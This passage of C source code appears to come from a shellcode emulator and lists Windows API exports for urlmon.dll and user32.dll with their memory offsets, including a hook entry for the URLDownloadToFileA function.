"HlinkGoForward", 0x000592FA, NULL, NULL}, { "HlinkNavigateMoniker", 0x00059B99, NULL, NULL}, { "HlinkNavigateString", 0x00059C1D, NULL, NULL}, { "HlinkSimpleNavigateToMoniker", 0x00059641, NULL, NULL}, { "HlinkSimpleNavigateToString", 0x00059BBA, NULL, NULL}, { "InstallFlash", 0x0002CF6E, NULL, NULL}, { "IsAsyncMoniker", 0x00015324, NULL, NULL}, { "IsJITInProgress", 0x0003F269, NULL, NULL}, { "IsLoggingEnabledA", 0x0005B442, NULL, NULL}, { "IsLoggingEnabledW", 0x0005B563, NULL, NULL}, { "IsValidURL", 0x0001960A, NULL, NULL}, { "MkParseDisplayNameEx", 0x0002C834, NULL, NULL}, { "ObtainUserAgentString", 0x0003402E, NULL, NULL}, { "PrivateCoInstall", 0x0003DB11, NULL, NULL}, { "RegisterBindStatusCallback", 0x00015B6F, NULL, NULL}, { "RegisterFormatEnumerator", 0x00015BE6, NULL, NULL}, { "RegisterMediaTypeClass", 0x0002C772, NULL, NULL}, { "RegisterMediaTypes", 0x0002C71A, NULL, NULL}, { "ReleaseBindInfo", 0x0000D7B7, NULL, NULL}, { "RevokeBindStatusCallback", 0x00015A5E, NULL, NULL}, { "RevokeFormatEnumerator", 0x0002C80F, NULL, NULL}, { "SetSoftwareUpdateAdvertisementState", 0x00043AAE, NULL, NULL}, { "URLDownloadA", 0x0002F0DD, NULL, NULL}, { "URLDownloadToCacheFileA", 0x0005B1C1, NULL, NULL}, { "URLDownloadToCacheFileW", 0x0005ADA4, NULL, NULL}, { "URLDownloadToFileA", 0x0005B0BB, env_w32_hook_URLDownloadToFileA, NULL}, { "URLDownloadToFileW", 0x0005AD3E, NULL, NULL}, { "URLDownloadW", 0x0002E66E, NULL, NULL}, { "URLOpenBlockingStreamA", 0x0005B305, NULL, NULL}, { "URLOpenBlockingStreamW", 0x0005AF4D, NULL, NULL}, { "URLOpenPullStreamA", 0x0005B024, NULL, NULL}, { "URLOpenPullStreamW", 0x0005ACF4, NULL, NULL}, { "URLOpenStreamA", 0x0005B3AB, NULL, NULL}, { "URLOpenStreamW", 0x0005AFDA, NULL, NULL}, { "UrlMkBuildVersion", 0x0002CE6C, NULL, NULL}, { "UrlMkGetSessionOption", 0x000149A9, NULL, NULL}, { "UrlMkSetSessionOption", 0x0002E4EF, NULL, NULL}, { "WriteHitLogging", 0x0005B4AA, NULL, NULL}, { "ZonesReInit", 0x0005F38C, NULL, NULL}, { 0, 0, NULL, NULL}, }; //dzzie 1-26-11 struct emu_env_w32_dll_export user32_exports[] = { {"ActivateKeyboardLayout", 0x00018673, NULL, NULL}, {"AdjustWindowRect", 0x00021140, NULL, NULL}, {"AdjustWindowRectEx", 0x0001E7EA, NULL, NULL}, {"AlignRects", 0x0005D4E0, NULL, NULL}, {"AllowForegroundActivation", 0x00046414, NULL, NULL}, {"AllowSetForegroundWindow", 0x00011E40, NULL, NULL}, {"AnimateWindow", 0x00012156, NULL, NULL}, {"AnyPopup", 0x00059C27, NULL, NULL}, {"AppendMenuA", 0x00021B0E, NULL, NULL}, {"AppendMenuW", 0x000132BA, NULL, NULL}, {"ArrangeIconicWindows", 0x00045F46, NULL, NULL}, {"AttachThreadInput", 0x00021E52, NULL, NULL}, {"BeginDeferWindowPos", 0x0001AFB9, NULL, NULL}, {"BeginPaint", 0x00018FE9, NULL, NULL}, {"BlockInput", 0x0005CA7E, NULL, NULL}, {"BringWindowToTop", 0x000203A8, NULL, NULL}, {"BroadcastSystemMessage", 0x0005AEBE, NULL, NULL}, {"BroadcastSystemMessageA", 0x0005AEBE, NULL, NULL}, {"BroadcastSystemMessageExA", 0x0005AE97, NULL, NULL}, {"BroadcastSystemMessageExW", 0x00013654, NULL, NULL}, {"BroadcastSystemMessageW", 0x0000E666, NULL, NULL}, {"BuildReasonArray", 0x00057DF6, NULL, NULL}, {"CalcMenuBar", 0x0001C5E4, NULL, NULL}, {"CallMsgFilter", 0x0005B216, NULL, NULL}, {"CallMsgFilterA", 0x0005B216, NULL, NULL}, {"CallMsgFilterW", 0x0001750E, NULL, NULL}, {"CallNextHookEx", 0x0001B3C6, NULL, NULL}, {"CallWindowProcA", 0x0001A97D, NULL, NULL}, {"CallWindowProcW", 0x0001A01E, NULL, NULL}, {"CascadeChildWindows", 0x00045F5E, NULL, NULL}, {"CascadeWindows", 0x00055039, NULL, NULL}, {"ChangeClipboardChain", 0x00020487, NULL, NULL}, {"ChangeDisplaySettingsA", 0x0005B400, NULL, NULL}, {"ChangeDisplaySettingsExA", 0x0001384E, NULL, NULL}, {"ChangeDisplaySettingsExW", 0x000495BD, NULL, NULL}, {"ChangeDisplaySettingsW", 0x00049623, NULL, NULL}, {"ChangeMenuA", 0x0003F298, NULL, NULL}, {"ChangeMenuW", 0x0005525E, NULL, NULL}, {"CharLowerA", 0x00018717, NULL, NULL}, {"CharLowerBuffA", 0x00018845, NULL, NULL}, {"CharLowerBuffW", 0x00009E57, NULL, NULL}, {"CharLowerW", 0x0001B24C, NULL, NULL}, {"CharNextA", 0x0001C8B0, NULL, NULL}, {"CharNextExA", 0x0005984E, NULL, NULL}, {"CharNextW", 0x0001B1B0, NULL, NULL}, {"CharPrevA", 0x0001C8DA, NULL, NULL}, {"CharPrevExA", 0x00059882, NULL, NULL}, {"CharPrevW", 0x0001D607, NULL, NULL}, {"CharToOemA", 0x0000AEF1, NULL, NULL}, {"CharToOemBuffA", 0x00021626, NULL, NULL}, {"CharToOemBuffW", 0x00056E31, NULL, NULL}, {"CharToOemW", 0x00013467, NULL, NULL}, {"CharUpperA", 0x00008D2B, NULL, NULL}, {"CharUpperBuffA", 0x0000AE3F, NULL, NULL}, {"CharUpperBuffW", 0x00009216, NULL, NULL}, {"CharUpperW", 0x000090D2, NULL, NULL}, {"CheckDlgButton", 0x00014DCA, NULL, NULL}, {"CheckMenuItem", 0x00021ABD, NULL, NULL}, {"CheckMenuRadioItem", 0x000553A2, NULL, NULL}, {"CheckRadioButton", 0x0004BDE1, NULL, NULL}, {"ChildWindowFromPoint", 0x0001201F, NULL, NULL}, {"ChildWindowFromPointEx", 0x0001200B, NULL, NULL}, {"CliImmSetHotKey", 0x00043C33, NULL, NULL}, {"ClientThreadSetup", 0x0000A00A, NULL, NULL}, {"ClientToScreen", 0x00019B60, NULL, NULL}, {"ClipCursor", 0x0002FDC5, NULL, NULL}, {"CloseClipboard", 0x00020265, NULL, NULL}, {"CloseDesktop", 0x0001812F, NULL, NULL}, {"CloseWindow", 0x00045F7F, NULL, NULL}, {"CloseWindowStation", 0x00017D18, NULL, NULL}, {"CopyAcceleratorTableA", 0x00046C91, NULL, NULL}, {"CopyAcceleratorTableW", 0x0003FC5E, NULL, NULL}, {"CopyIcon", 0x0000DE72, NULL, NULL}, {"CopyImage", 0x0001DC14, NULL, NULL}, {"CopyRect", 0x0001A042, NULL, NULL}, {"CountClipboardFormats", 0x0002167F, NULL, NULL}, {"CreateAcceleratorTableA", 0x00043497, NULL, NULL}, {"CreateAcceleratorTableW", 0x0000D9BB, NULL, NULL}, {"CreateCaret", 0x0001A94E, NULL, NULL}, {"CreateCursor", 0x00047059, NULL, NULL}, {"CreateDesktopA", 0x00045E37, NULL, NULL}, {"CreateDesktopW", 0x0001162A, NULL, NULL}, {"CreateDialogIndirectParamA", 0x00029B28, NULL, NULL}, {"CreateDialogIndirectParamAorW", 0x0001680B, NULL, NULL}, {"CreateDialogIndirectParamW", 0x0002F01F, NULL, NULL}, {"CreateDialogParamA", 0x0002C7DB, NULL, NULL}, {"CreateDialogParamW", 0x0000EA3B, NULL, NULL}, {"CreateIcon", 0x000470BC, NULL, NULL}, {"CreateIconFromResource", 0x00047134, NULL, NULL}, {"CreateIconFromResourceEx", 0x0000D354, NULL, NULL}, {"CreateIconIndirect", 0x0000C86C, NULL, NULL}, {"CreateMDIWindowA", 0x0003FDC0, NULL, NULL}, {"CreateMDIWindowW", 0x0002F810, NULL, NULL}, {"CreateMenu", 0x0001F306, NULL, NULL}, {"CreatePopupMenu", 0x0000F601, NULL, NULL}, {"CreateSystemThreads", 0x000216E8, NULL, NULL}, {"CreateWindowExA", 0x0001E4A9, NULL, NULL}, {"CreateWindowExW", 0x0001D0A3, NULL, NULL}, {"CreateWindowStationA", 0x0004642E, NULL, NULL}, {"CreateWindowStationW", 0x000113DD, NULL, NULL}, {"CsrBroadcastSystemMessageExW", 0x0001367B, NULL, NULL}, {"CtxInitUser32", 0x0000E9E2, NULL, NULL}, {"DdeAbandonTransaction", 0x0005AD84, NULL, NULL}, {"DdeAccessData", 0x00051309, NULL, NULL}, {"DdeAddData", 0x000510D1, NULL, NULL}, {"DdeClientTransaction", 0x0005A6A2, NULL, NULL}, {"DdeCmpStringHandles", 0x00051D8D, NULL, NULL}, {"DdeConnect", 0x000481C3, NULL, NULL}, {"DdeConnectList", 0x000484DE, NULL, NULL}, {"DdeCreateDataHandle", 0x00051769, NULL, NULL}, {"DdeCreateStringHandleA", 0x00051E43, NULL, NULL}, {"DdeCreateStringHandleW", 0x00010447, NULL, NULL}, {"DdeDisconnect", 0x000483C4, NULL, NULL}, {"DdeDisconnectList", 0x0004843B, NULL, NULL}, {"DdeEnableCallback", 0x00045212, NULL, NULL}, {"DdeFreeDataHandle", 0x000518E2, NULL, NULL}, {"DdeFreeStringHandle", 0x00051F70, NULL, NULL}, {"DdeGetData", 0x000511F1, NULL, NULL}, {"DdeGetLastError", 0x0004A853, NULL, NULL}, {"DdeGetQualityOfService", 0x0005CAA6, NULL, NULL}, {"DdeImpersonateClient", 0x0004A894, NULL, NULL}, {"DdeInitializeA", 0x0004A8F6, NULL, NULL}, {"DdeInitializeW", 0x000106D7, NULL, NULL}, {"DdeKeepStringHandle", 0x0005200A, NULL, NULL}, {"DdeNameService", 0x0001085E, NULL, NULL}, {"DdePostAdvise", 0x0005A3A5, NULL, NULL}, {"DdeQueryConvInfo", 0x0005ABA6, NULL, NULL}, {"DdeQueryNextServer", 0x000479AC, NULL, NULL}, {"DdeQueryStringA", 0x00052096, NULL, NULL}, {"DdeQueryStringW", 0x000520B3, NULL, NULL}, {"DdeReconnect", 0x0004826B, NULL, NULL}, {"DdeSetQualityOfService", 0x0005CABA, NULL, NULL}, {"DdeSetUserHandle", 0x0005AD29, NULL, NULL}, {"DdeUnaccessData", 0x0005137B, NULL, NULL}, {"DdeUninitialize", 0x0004A732, NULL, NULL}, {"DefDlgProcA", 0x0002E577, NULL, NULL}, {"DefDlgProcW", 0x00013D3A, NULL, NULL}, {"DefFrameProcA", 0x0003F965, NULL, NULL}, {"DefFrameProcW", 0x00020833, NULL, NULL}, {"DefMDIChildProcA", 0x0003F9B4, NULL, NULL}, {"DefMDIChildProcW", 0x00020A47, NULL, NULL}, {"DefRawInputProc", 0x000468DD, NULL, NULL}, {"DefWindowProcA", 0x0001C17E, NULL, NULL}, {"DefWindowProcW", 0x00018D20, NULL, NULL}, {"DeferWindowPos", 0x0001AFDB, NULL, NULL}, {"DeleteMenu", 0x0001CED3, NULL, NULL}, {"DeregisterShellHookWindow", 0x000302C0, NULL, NULL}, {"DestroyAcceleratorTable", 0x0002FE8D, NULL, NULL}, {"DestroyCaret", 0x00019C0E, NULL, NULL}, {"DestroyCursor", 0x0001D312, NULL, NULL}, {"DestroyIcon", 0x0001D312, NULL, NULL}, {"DestroyMenu", 0x0001D39D, NULL, NULL}, {"DestroyReasons", 0x00057ED8, NULL, NULL}, {"DestroyWindow", 0x0001B19C, NULL, NULL}, {"DeviceEventWorker", 0x0004A0F8, NULL, NULL}, {"DialogBoxIndirectParamA", 0x00046D7D, NULL, NULL}, {"DialogBoxIndirectParamAorW", 0x000149D0, NULL, NULL}, {"DialogBoxIndirectParamW", 0x00022072, NULL, NULL}, {"DialogBoxParamA", 0x0002B144, NULL, NULL}, {"DialogBoxParamW", 0x000147AB, NULL, NULL}, {"DisableProcessWindowsGhosting", 0x00046421, NULL, NULL}, {"DispatchMessageA", 0x000096B8, NULL, NULL}, {"DispatchMessageW", 0x00008A01, NULL, NULL}, {"DisplayExitWindowsWarnings", 0x00049F91, NULL, NULL}, {"DlgDirListA", 0x000538DF, NULL, NULL}, {"DlgDirListComboBoxA", 0x00047599, NULL, NULL}, {"DlgDirListComboBoxW", 0x00047626, NULL, NULL}, {"DlgDirListW", 0x0005396D, NULL, NULL}, {"DlgDirSelectComboBoxExA", 0x00047657, NULL, NULL}, {"DlgDirSelectComboBoxExW", 0x00047543, NULL, NULL}, {"DlgDirSelectExA", 0x00053AFE, NULL, NULL}, {"DlgDirSelectExW", 0x00053B64, NULL, NULL}, {"DragDetect", 0x0005CACE, NULL, NULL}, {"DragObject", 0x0005CAE2, NULL, NULL}, {"DrawAnimatedRects", 0x0005CAF6, NULL, NULL}, {"DrawCaption", 0x00056D9F, NULL, NULL}, {"DrawCaptionTempA", 0x0005B2D0, NULL, NULL}, {"DrawCaptionTempW", 0x0003F339, NULL, NULL}, {"DrawEdge", 0x0001FBF6, NULL, NULL}, {"DrawFocusRect", 0x0001F94F, NULL, NULL}, {"DrawFrame", 0x000229C4, NULL, NULL}, {"DrawFrameControl", 0x0002E940, NULL, NULL}, {"DrawIcon", 0x0002D06C, NULL, NULL}, {"DrawIconEx", 0x0001CB84, NULL, NULL}, {"DrawMenuBar", 0x0003F69C, NULL, NULL}, {"DrawMenuBarTemp", 0x0005536D, NULL, NULL}, {"DrawStateA", 0x0003F100, NULL, NULL}, {"DrawStateW", 0x000145BB, NULL, NULL}, {"DrawTextA", 0x0002C702, NULL, NULL}, {"DrawTextExA", 0x0002C739, NULL, NULL}, {"DrawTextExW", 0x0001B415, NULL, NULL}, {"DrawTextW", 0x0001D7E2, NULL, NULL}, {"EditWndProc", 0x00023000, NULL, NULL}, {"EmptyClipboard", 0x00020D96, NULL, NULL}, {"EnableMenuItem", 0x0001D2C4, NULL, NULL}, {"EnableScrollBar", 0x00058005, NULL, NULL}, {"EnableWindow", 0x00019849, NULL, NULL}, {"EndDeferWindowPos", 0x0001AF8D, NULL, NULL}, {"EndDialog", 0x00014A4E, NULL, NULL}, {"EndMenu", 0x0005CB5A, NULL, NULL}, {"EndPaint", 0x00018FFD, NULL, NULL}, {"EndTask", 0x0004A0A5, NULL, NULL}, {"EnterReaderModeHelper", 0x0005769F, NULL, NULL}, {"EnumChildWindows", 0x0001B0F0, NULL, NULL}, {"EnumClipboardFormats", 0x0002E53D, NULL, NULL}, {"EnumDesktopWindows", 0x0001851A, NULL, NULL}, {"EnumDesktopsA", 0x0002234B, NULL, NULL}, {"EnumDesktopsW", 0x0001853B, NULL, NULL}, {"EnumDisplayDevicesA", 0x00018A74, NULL, NULL}, {"EnumDisplayDevicesW", 0x0000E03C, NULL, NULL}, {"EnumDisplayMonitors", 0x0001A77B, NULL, NULL}, {"EnumDisplaySettingsA", 0x00013A67, NULL, NULL}, {"EnumDisplaySettingsExA", 0x000138F3, NULL, NULL}, {"EnumDisplaySettingsExW", 0x00013563, NULL, NULL}, {"EnumDisplaySettingsW", 0x0001362A, NULL, NULL}, {"EnumPropsA", 0x000455D9, NULL, NULL}, {"EnumPropsExA", 0x00045613, NULL, NULL}, {"EnumPropsExW", 0x00045631, NULL, NULL}, {"EnumPropsW", 0x000455F6, NULL, NULL}, {"EnumThreadWindows", 0x0001F539, NULL, NULL}, {"EnumWindowStationsA", 0x0002232E, NULL, NULL}, {"EnumWindowStationsW", 0x0004564F, NULL, NULL}, {"EnumWindows", 0x0001A5AE, NULL, NULL}, {"EqualRect", 0x00019E81, NULL, NULL}, {"ExcludeUpdateRgn", 0x00020251, NULL, NULL}, {"ExitWindowsEx", 0x0004A275, NULL, NULL}, {"FillRect", 0x00019C2F, NULL, NULL}, {"FindWindowA", 0x000182E1, NULL, NULL}, {"FindWindowExA", 0x0002214A, NULL, NULL}, {"FindWindowExW", 0x0000E0E3, NULL, NULL}, {"FindWindowW", 0x0001C9C3, NULL, NULL}, {"FlashWindow", 0x00045FC4, NULL, NULL}, {"FlashWindowEx", 0x0005CB80, NULL, NULL}, {"FrameRect", 0x0001F92A, NULL, NULL}, {"FreeDDElParam", 0x0004BA77, NULL, NULL}, {"GetActiveWindow", 0x0001C2E8, NULL, NULL}, {"GetAltTabInfo", 0x0005B3DC, NULL, NULL}, {"GetAltTabInfoA", 0x0005B3DC, NULL, NULL}, {"GetAltTabInfoW", 0x00020D09, NULL, NULL}, {"GetAncestor", 0x0001AF79, NULL, NULL}, {"GetAppCompatFlags", 0x00008ED6, NULL, NULL}, {"GetAppCompatFlags2", 0x0001CDD4, NULL, NULL}, {"GetAsyncKeyState", 0x0001A78F, NULL, NULL}, {"GetCapture", 0x000094DA, NULL, NULL}, {"GetCaretBlinkTime", 0x0001A928, NULL, NULL}, {"GetCaretPos", 0x0001F6A1, NULL, NULL}, {"GetClassInfoA", 0x0002EBFF, NULL, NULL}, {"GetClassInfoExA", 0x0000DD58, NULL, NULL}, {"GetClassInfoExW", 0x0000DEBC, NULL, NULL}, {"GetClassInfoW", 0x0001E81E, NULL, NULL}, {"GetClassLongA", 0x0001F4F1, NULL, NULL}, {"GetClassLongW", 0x00019AE9, NULL, NULL}, {"GetClassNameA", 0x0001F45F, NULL, NULL}, {"GetClassNameW", 0x00019D12, NULL, NULL}, {"GetClassWord", 0x0004535C, NULL, NULL}, {"GetClientRect", 0x0001908E, NULL, NULL}, {"GetClipCursor", 0x0005CBA6, NULL, NULL}, {"GetClipboardData", 0x00020DBA, NULL, NULL}, {"GetClipboardFormatNameA", 0x00021290, NULL, NULL}, {"GetClipboardFormatNameW", 0x0004957F, NULL, NULL}, {"GetClipboardOwner", 0x00020DA8, NULL, NULL}, {"GetClipboardSequenceNumber", 0x0001F17A, NULL, NULL}, {"GetClipboardViewer", 0x0005CB94, NULL, NULL}, {"GetComboBoxInfo", 0x0005CBBA, NULL, NULL}, {"GetCursor", 0x0001A91B, NULL, NULL}, {"GetCursorFrameInfo", 0x000147F8, NULL, NULL}, {"GetCursorInfo", 0x0005CBCE, NULL, NULL}, {"GetCursorPos", 0x0001974E, NULL, NULL}, {"GetDC", 0x000086C7, NULL, NULL}, {"GetDCEx", 0x0001C595, NULL, NULL}, {"GetDesktopWindow", 0x0001D1D2, NULL, NULL}, {"GetDialogBaseUnits", 0x00046003, NULL, NULL}, {"GetDlgCtrlID", 0x0001AF1B, NULL, NULL}, {"GetDlgItem", 0x0001436E, NULL, NULL}, {"GetDlgItemInt", 0x0004BC8B, NULL, NULL}, {"GetDlgItemTextA", 0x0005B05E, NULL, NULL}, {"GetDlgItemTextW", 0x00014305, NULL, NULL}, {"GetDoubleClickTime", 0x0001D86B, NULL, NULL}, {"GetFocus", 0x000198C8, NULL, NULL}, {"GetForegroundWindow", 0x00019823, NULL, NULL}, {"GetGUIThreadInfo", 0x00017F28, NULL, NULL}, {"GetGuiResources", 0x0005CBE2, NULL, NULL}, {"GetIconInfo", 0x0001D427, NULL, NULL}, {"GetInputDesktop", 0x00046022, NULL, NULL}, {"GetInputState", 0x0001F64E, NULL, NULL}, {"GetInternalWindowPos", 0x0005CC0A, NULL, NULL}, {"GetKBCodePage", 0x000521A8, NULL, NULL}, {"GetKeyNameTextA", 0x0003F6B4, NULL, NULL}, {"GetKeyNameTextW", 0x0004958F, NULL, NULL}, {"GetKeyState", 0x00019ED9, NULL, NULL}, {"GetKeyboardLayout", 0x00019BF6, NULL, NULL}, {"GetKeyboardLayoutList", 0x00019C1B, NULL, NULL}, {"GetKeyboardLayoutNameA", 0x00043631, NULL, NULL}, {"GetKeyboardLayoutNameW", 0x00021481, NULL, NULL}, {"GetKeyboardState", 0x0001D226, NULL, NULL}, {"GetKeyboardType", 0x000211DB, NULL, NULL}, {"GetLastActivePopup", 0x0002157A, NULL, NULL}, {"GetLastInputInfo", 0x000094F4, NULL, NULL}, {"GetLayeredWindowAttributes", 0x0005CFC6, NULL, NULL}, {"GetListBoxInfo", 0x0005CC32, NULL, NULL}, {"GetMenu", 0x000214BA, NULL, NULL}, {"GetMenuBarInfo", 0x0005CC46, NULL, NULL}, {"GetMenuCheckMarkDimensions", 0x000402F9, NULL, NULL}, {"GetMenuContextHelpId", 0x000552FF, NULL, NULL}, {"GetMenuDefaultItem", 0x0000F667, NULL, NULL}, {"GetMenuInfo", 0x00046725, NULL, NULL}, {"GetMenuItemCount", 0x0001EF1C, NULL, NULL}, {"GetMenuItemID", 0x0003F1C8, NULL, NULL}, {"GetMenuItemInfoA", 0x0001F0AD, NULL, NULL}, {"GetMenuItemInfoW", 0x0000F72A, NULL, NULL}, {"GetMenuItemRect", 0x0005CC6E, NULL, NULL}, {"GetMenuState", 0x0000F967, NULL, NULL}, {"GetMenuStringA", 0x0003F24E, NULL, NULL}, {"GetMenuStringW", 0x000464E4, NULL, NULL}, {"GetMessageA", 0x0001772B, NULL, NULL}, {"GetMessageExtraInfo", 0x000468B8, NULL, NULL}, {"GetMessagePos", 0x0001996C, NULL, NULL}, {"GetMessageTime", 0x00019DE0, NULL, NULL}, {"GetMessageW", 0x000091C6, NULL, NULL}, {"GetMonitorInfoA", 0x0001A84A, NULL, NULL}, {"GetMonitorInfoW", 0x0001A6D9, NULL, NULL}, {"GetMouseMovePointsEx", 0x0005CC82, NULL, NULL}, {"GetNextDlgGroupItem", 0x0004BF27, NULL, NULL}, {"GetNextDlgTabItem", 0x000137C3, NULL, NULL}, {"GetOpenClipboardWindow", 0x00021691, NULL, NULL}, {"GetParent", 0x0001910F, NULL, NULL}, {"GetPriorityClipboardFormat", 0x0005CC96, NULL, NULL}, {"GetProcessDefaultLayout", 0x000463E4, NULL, NULL}, {"GetProcessWindowStation", 0x00009195, NULL, NULL}, {"GetProgmanWindow", 0x0004612D, NULL, NULL}, {"GetPropA", 0x00020042, NULL, NULL}, {"GetPropW", 0x000194B3, NULL, NULL}, {"GetQueueStatus", 0x0001AE46, NULL, NULL}, {"GetRawInputBuffer", 0x00050DCD, NULL, NULL}, {"GetRawInputData", 0x0005CCBE, NULL, NULL}, {"GetRawInputDeviceInfoA", 0x0005AF0D, NULL, NULL}, {"GetRawInputDeviceInfoW", 0x00046558, NULL, NULL}, {"GetRawInputDeviceList", 0x0005CCE6, NULL, NULL}, {"GetReasonTitleFromReasonCode", 0x00057F24, NULL, NULL}, {"GetRegisteredRawInputDevices", 0x0005CCFA, NULL, NULL}, {"GetScrollBarInfo", 0x0001DFB4, NULL, NULL}, {"GetScrollInfo", 0x0001DFE2, NULL, NULL}, {"GetScrollPos", 0x0001F704, NULL, NULL}, {"GetScrollRange", 0x0001F787, NULL, NULL}, {"GetShellWindow", 0x00009252, NULL, NULL}, {"GetSubMenu", 0x0001D896, NULL, NULL}, {"GetSysColor", 0x00008E78, NULL, NULL}, {"GetSysColorBrush", 0x00008EAB, NULL, NULL}, {"GetSystemMenu", 0x0001B222, NULL, NULL}, {"GetSystemMetrics", 0x00008F9C, NULL, NULL}, {"GetTabbedTextExtentA", 0x0004A6A1, NULL, NULL}, {"GetTabbedTextExtentW", 0x0004A677, NULL, NULL}, {"GetTaskmanWindow", 0x0004370D, NULL, NULL}, {"GetThreadDesktop", 0x00009A51, NULL, NULL}, {"GetTitleBarInfo", 0x0001C581, NULL, NULL}, {"GetTopWindow", 0x0001F25B, NULL, NULL}, {"GetUpdateRect", 0x0001A8C9, NULL, NULL}, {"GetUpdateRgn", 0x0001F5EC, NULL, NULL}, {"GetUserObjectInformationA", 0x00021300, NULL, NULL}, {"GetUserObjectInformationW", 0x00008D17, NULL, NULL}, {"GetUserObjectSecurity", 0x00045B65, NULL, NULL}, {"GetWinStationInfo", 0x00045B9B, NULL, NULL}, {"GetWindow", 0x00019655, NULL, NULL}, {"GetWindowContextHelpId", 0x00046180, NULL, NULL}, {"GetWindowDC", 0x00009021, NULL, NULL}, {"GetWindowInfo", 0x0001C49C, NULL, NULL}, {"GetWindowLongA", 0x0000945D, NULL, NULL}, {"GetWindowLongW", 0x000088A6, NULL, NULL}, {"GetWindowModuleFileName", 0x0005AEE4, NULL, NULL}, {"GetWindowModuleFileNameA", 0x0005AEE4, NULL, NULL}, {"GetWindowModuleFileNameW", 0x0004652F, NULL, NULL}, {"GetWindowPlacement", 0x000203C7, NULL, NULL}, {"GetWindowRect", 0x000190B4, NULL, NULL}, {"GetWindowRgn", 0x0000E443, NULL, NULL}, {"GetWindowRgnBox", 0x0001D007, NULL, NULL}, {"GetWindowTextA", 0x0002216B, NULL, NULL}, {"GetWindowTextLengthA", 0x0003F18B, NULL, NULL}, {"GetWindowTextLengthW", 0x00017836, NULL, NULL}, {"GetWindowTextW", 0x0001A5CD, NULL, NULL}, {"GetWindowThreadProcessId", 0x00008A80, NULL, NULL}, {"GetWindowWord", 0x0002030C, NULL, NULL}, {"GrayStringA", 0x00045B05, NULL, NULL}, {"GrayStringW", 0x00045B35, NULL, NULL}, {"HideCaret", 0x0001B086, NULL, NULL}, {"HiliteMenuItem", 0x0005CD22, NULL, NULL}, {"IMPGetIMEA", 0x0005B4C0, NULL, NULL}, {"IMPGetIMEW", 0x0005B4AF, NULL, NULL}, {"IMPQueryIMEA", 0x0005B4E2, NULL, NULL}, {"IMPQueryIMEW", 0x0005B4D1, NULL, NULL}, {"IMPSetIMEA", 0x0005B504, NULL, NULL}, {"IMPSetIMEW", 0x0005B4F3, NULL, NULL}, {"ImpersonateDdeClientWindow", 0x0005CD36, NULL, NULL}, {"InSendMessage", 0x00017296, NULL, NULL}, {"InSendMessageEx", 0x0001AE83, NULL, NULL}, {"InflateRect", 0x000198D5, NULL, NULL}, {"InitializeLpkHooks", 0x00046646, NULL, NULL}, {"InitializeWin32EntryTable", 0x00056FC7, NULL, NULL}, {"InsertMenuA", 0x0002ED26, NULL, NULL}, {"InsertMenuItemA", 0x0003F710, NULL, NULL}, {"InsertMenuItemW", 0x0000F5C8, NULL, NULL}, {"InsertMenuW", 0x0000F60E, NULL, NULL}, {"InternalGetWindowText", 0x0001C5A9, NULL, NULL}, {"IntersectRect", 0x00018F1F, NULL, NULL}, {"InvalidateRect", 0x00018FD5, NULL, NULL}, {"InvalidateRgn", 0x0001CDFE, NULL, NULL}, {"InvertRect", 0x0003FC72, NULL, NULL}, {"IsCharAlphaA", 0x0002E5E6, NULL, NULL}, {"IsCharAlphaNumericA", 0x0003F469, NULL, NULL}, {"IsCharAlphaNumericW", 0x00011AC2, NULL, NULL}, {"IsCharAlphaW", 0x0001D683, NULL, NULL}, {"IsCharLowerA", 0x0002B889, NULL, NULL}, {"IsCharLowerW", 0x0003F3B2, NULL, NULL}, {"IsCharUpperA", 0x0002707E, NULL, NULL}, {"IsCharUpperW", 0x0005A1DF, NULL, NULL}, {"IsChild", 0x0000970E, NULL, NULL}, {"IsClipboardFormatAvailable", 0x0001F166, NULL, NULL}, {"IsDialogMessage", 0x0002C689, NULL, NULL}, {"IsDialogMessageA", 0x0002C689, NULL, NULL}, {"IsDialogMessageW", 0x00017424, NULL, NULL}, {"IsDlgButtonChecked", 0x00014DFA, NULL, NULL}, {"IsGUIThread", 0x0005A19F, NULL, NULL}, {"IsHungAppWindow", 0x00059C61, NULL, NULL}, {"IsIconic", 0x000197FF, NULL, NULL}, {"IsMenu", 0x00021368, NULL, NULL}, {"IsRectEmpty", 0x000198FE, NULL, NULL}, {"IsServerSideWindow", 0x0001B0CF, NULL, NULL}, {"IsWinEventHookInstalled", 0x0000B1A5, NULL, NULL}, {"IsWindow", 0x00019313, NULL, NULL}, {"IsWindowEnabled", 0x0001977A, NULL, NULL}, {"IsWindowInDestroy", 0x0001B126, NULL, NULL}, {"IsWindowUnicode", 0x00019F72, NULL, NULL}, {"IsWindowVisible", 0x00019E3D, NULL, NULL}, {"IsZoomed", 0x00019C8A, NULL, NULL}, {"KillSystemTimer", 0x000460CC, NULL, NULL}, {"KillTimer", 0x00008C42, NULL, NULL}, {"LoadAcceleratorsA", 0x00021553, NULL, NULL}, {"LoadAcceleratorsW", 0x0001EE76, NULL, NULL}, {"LoadBitmapA", 0x0001473C, NULL, NULL}, {"LoadBitmapW", 0x00010242, NULL, NULL}, {"LoadCursorA", 0x0001D33E, NULL, NULL}, {"LoadCursorFromFileA", 0x00043CCB, NULL, NULL}, {"LoadCursorFromFileW", 0x00043CAC, NULL, NULL}, {"LoadCursorW", 0x00009D69, NULL, NULL}, {"LoadIconA", 0x0001E8F6, NULL, NULL}, {"LoadIconW", 0x0001E8BC, NULL, NULL}, {"LoadImageA", 0x00017C08, NULL, NULL}, {"LoadImageW", 0x00017B97, NULL, NULL}, {"LoadKeyboardLayoutA", 0x00046262, NULL, NULL}, {"LoadKeyboardLayoutEx", 0x0004623A, NULL, NULL}, {"LoadKeyboardLayoutW", 0x00021464, NULL, NULL}, {"LoadLocalFonts", 0x0000EDD8, NULL, NULL}, {"LoadMenuA", 0x0003FA83, NULL, NULL}, {"LoadMenuIndirectA", 0x0001EBBF, NULL, NULL}, {"LoadMenuIndirectW", 0x0001EBBF, NULL, NULL}, {"LoadMenuW", 0x0001EB48, NULL, NULL}, {"LoadRemoteFonts", 0x0000ECB7, NULL, NULL}, {"LoadStringA", 0x0001C908, NULL, NULL}, {"LoadStringW", 0x00009E36, NULL, NULL}, {"LockSetForegroundWindow", 0x0000DE5A, NULL, NULL}, {"LockWindowStation", 0x0000F3C4, NULL, NULL}, {"LockWindowUpdate", 0x00029636, NULL, NULL}, {"LockWorkStation", 0x0005CD5E, NULL, NULL}, {"LookupIconIdFromDirectory", 0x00047116, NULL, NULL}, {"LookupIconIdFromDirectoryEx", 0x0000C4DA, NULL, NULL}, {"MBToWCSEx", 0x0000ADAD, NULL, NULL}, {"MB_GetString", 0x00055D55, NULL, NULL}, {"MapDialogRect", 0x0004BE4C, NULL, 